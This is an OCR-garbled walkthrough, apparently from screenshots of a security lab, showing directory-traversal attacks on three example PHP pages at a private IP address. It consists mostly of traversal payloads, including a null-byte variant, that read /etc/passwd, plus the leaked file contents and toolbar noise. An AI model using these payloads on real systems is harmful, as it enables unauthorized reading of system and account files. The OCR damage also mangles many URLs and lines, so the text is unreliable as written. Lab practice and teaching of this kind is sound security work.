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Example 1

INT v = & SQLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
& Lload URL | http://192.168.219.136/dirtrav/examplel.php?file=hacker.png
B split URL

3 Execute

[[] Post data ] Referrer 4 OxHEX ™ 4% %URL ¥ 4% BASEG4 I |-".">'E-"T' string to -"EC:"&{E{
kcl!f - Services® | [No information available]

Replace All 2 |-

Insert repiacing string
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<t>PREA ./, FEERER

§ Load URL [ http://192.168.219.136/dirtrav/examplel.php?file=./hacker.png
split URL

Execute

[[] Post data [] Referrer <™ OxHEX ™ % %URL ¥ & BASEGd ™
HETCREFT - Servicest | [No information available]
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@l Load URL [ http://192.168.219.136/dirtrav/examplel.php?file=./hacker.png
B split URL

] Execute

[l Postdata [ Referrer @ OxHEX 3B 4% %URL 3 &% BASEGd 3B [
F‘C&!ﬂ' - Servicest | [No information available]

BEWIFERIEE FWEALE LAY R /etc/passwd

Payload
http://192.168.219.136/dirtrav/examplel.php?
file=../../../../../../../../../etc/passwd

& Load URL | hitp://192.168.219.136/dirtrav/examplel.phpile=./ufofofufoff o/ fetc/passwd
I split URL

» Execute

[] Post data [] Referrer 4L OxHEX 3 4% %URL ¥ @ BASEG4 I Insert string to -"f_c';.-‘é:f|
#’CwT ~ Servicest | [Mo information available]

Insert replacing string Replace All 2 |-

rootx:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/shin:/bin/sh binx:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh |p:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:n:9:9:news:/var/spool/news:/bin/sh uucpx:10:10:uucp:/var/spool/uucp:/bin/sh proxy::13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-R¢
System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL
Server,,.:;/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/shin/nologin openldap:x:103:106:0penLDAP Server Account,,,:/var/lib/ldap:/bin/false
user:x:1000:1000:Debian Live user,,,;/home/user:/bin/bash

Example 2

@ Lload URL [ http://192.168.219.136/dirtrav/example2 phpile=fvar/wwwfiles/hacker.png
B split URL

3 Execute

[] Post data [] Referrer ™ OxHEX » &% 9URL ™ & BASEG) & |a"."'-5£-"1" string to -"E_S.-'Li‘..’4 E
M&!’T » Servicest | [Mo information available]
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Payload
http://192.168.219.136/dirtrav/example2.php?
file=/var/www/files/../../../../../../../../../../etc/passwd

@l Load URL [ http://192.168.219.136/dirtrav/example2.php?ile=fvarfwowffiless. fofof o fof of of of of fetcfpasswd
B split URL

bl Execute

[] Post data [| Referrer 4™ OxHEX ™» 4% %URL ™ &% BASERd ™
#CWT - Servicest | [No information available]

root:x:0:0:root:/root:/bin/bash daemon:x1:1:daemon:/usr/sbin:/bin/sh binx:2:2:bin:/bin:/bin/sh s
/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:p:/var/spoacl/lpd:/bin/sh mail:x:8:8:mail:/
Juucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-datax:33:33:www-data:/var/www:/bin/sh ba
ircx:39:3%:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/g
/lib/libuuid:/bin/sh mysqgl:x:101:103:MySQL Server,,.:;/var/lib/mysql:/bin/false sshd:x:102:65534::/va
/lib/ldap:/bin/false userx:1000:1000:Debian Live user,,:;/home/user:/bin/bash

Example 3

= Load URL [ http:/f192.168.219.136/dirtrav/example3.phpMile=hacker
f split URL

b Execute

[] Postdata [ Referrer @ OxHEX 3B % %URL 3B % BASEGd 3B E
HIETCRAFT - Servicess | [No information available]
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5 Load URL | http://192.168.219.136/dirtrav/example3.phpfile=././ofufof /. fetc/passwd
! split URL

Execute

[[] Post data [] Referrer ™= OxHEX ™% % o%UR. ™ &% PBASER] = Inse

M&FT - Servicess | [No information available]
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Payload
http://192.168.219.136/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

4 Load URL [ http://192.168.219.136/dirtrav/example3.phpMile=.././../. /. /. fetc/passwd 3600
B split URL

b Execute |

[] Post data || Referrer 4™ OxHEX ™» 4% %URL ™ & BASEGd P Inser
JBIETCRAFT - Services-

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/k
/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:
Juucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-datan:33:33:www-data:/var/www:/bi
irczx:39:39:ircd:/var/run/ircd:/bin/sh gnats:x41:41:Gnats Bug-Reporting System (admin):/v.
Jlib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x102:65
/lib/Idap:/bin/false user:x:1000:1000:Debian Live user,,,:;/home/user:/bin/bash

[Mo information available]
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